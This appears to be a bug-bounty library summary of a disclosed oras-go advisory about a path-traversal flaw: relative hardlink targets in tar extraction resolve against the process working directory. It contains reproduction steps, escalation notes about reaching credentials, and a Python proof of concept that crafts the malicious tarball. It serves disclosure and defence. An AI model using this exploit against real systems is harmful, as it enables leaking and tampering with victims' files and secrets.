# `oras-go` tar extraction: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution

oras-go validated hardlink targets against the extract dir but passed the unresolved relative Linkname to os.Link, which resolves against process CWD, allowing hardlinks to arbitrary CWD files.

- Payout: Research
- Severity: high
- Program: oras-go
- Found by: anvanster, onelapahead
- Disclosed: 2026-07-01
- CVE: CVE-2026-50163
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-fxhp-mv3v-67qp
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-fxhp-mv3v-67qp
- Tags: area:oss domain:oss impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:go technique:chained technique:source-review vuln:path-traversal

**Target:** tar extraction helper content/file/utils.go ensureLinkPath / os.Link
**Root cause:** ensureLinkPath resolves a relative hardlink target only for validation, then returns the original unresolved target string; os.Link/link(2) resolves relative oldname against the process CWD, not the extract base.
**Steps:**
1. Craft tarball with regular file `payload.tar.gz/README.txt` and hardlink entry `Name=payload.tar.gz/evil_cwd_link`, `Linkname="victim.secret"` (relative).
2. Push to OCI layout and patch layer annotation `io.deis.oras.content.unpack: "true"`.
3. Run `oras pull --oci-layout ../layout:v1 --output ../extract` from a CWD containing `victim.secret`.
4. Observe `stat -c '%i' extract/payload.tar.gz/evil_cwd_link` equals inode of `cwd-space/victim.secret`; `cat` of the link yields the CWD file contents.
**How found:** Code review of ensureLinkPath noticed it returns `target` rather than the validated resolved `path`; cross-referenced link(2) semantics that relative oldpath resolves against CWD, revealing the validation/use mismatch.
**Exploitation:** Attacker controls an OCI registry/artifact consumed via `oras pull` or any Go code using content.File; the unpack annotation triggers auto-extraction, creating a hardlink inside the extract tree that shares an inode with a file in the victim's CWD. Reading the extract-tree link leaks the CWD file; later writes/chmod through the link tamper with the CWD file.
**Escalation:** Root-context invocation (Kubernetes operators, Flux source-controller, container entrypoints) extends reachable files to the entire host filesystem; CI workspaces expose .env, .git/config, cloud credentials.
**Insight:** When a helper validates a resolved path but returns the raw input to a syscall, check the syscall's own path-resolution base (CWD for link(2), openat dirfd, etc.) — validation and use must share the same resolution context.

## Proof of concept (copied exactly from the original report)

**Python script crafting malicious tar with relative hardlink**

```
python3 -c '
import tarfile, io, os
with tarfile.open("cwd-space/payload.tar.gz", "w:gz", format=tarfile.GNU_FORMAT) as t:
    info = tarfile.TarInfo(name="payload.tar.gz/README.txt")
    c = b"pulled from registry"; info.size = len(c); info.mode = 0o644
    info.uid = os.getuid(); info.gid = os.getgid()
    t.addfile(info, io.BytesIO(c))

    link = tarfile.TarInfo(name="payload.tar.gz/evil_cwd_link")
    link.type = tarfile.LNKTYPE
    link.linkname = "victim.secret"   # RELATIVE
    link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid()
    t.addfile(link)
'
```

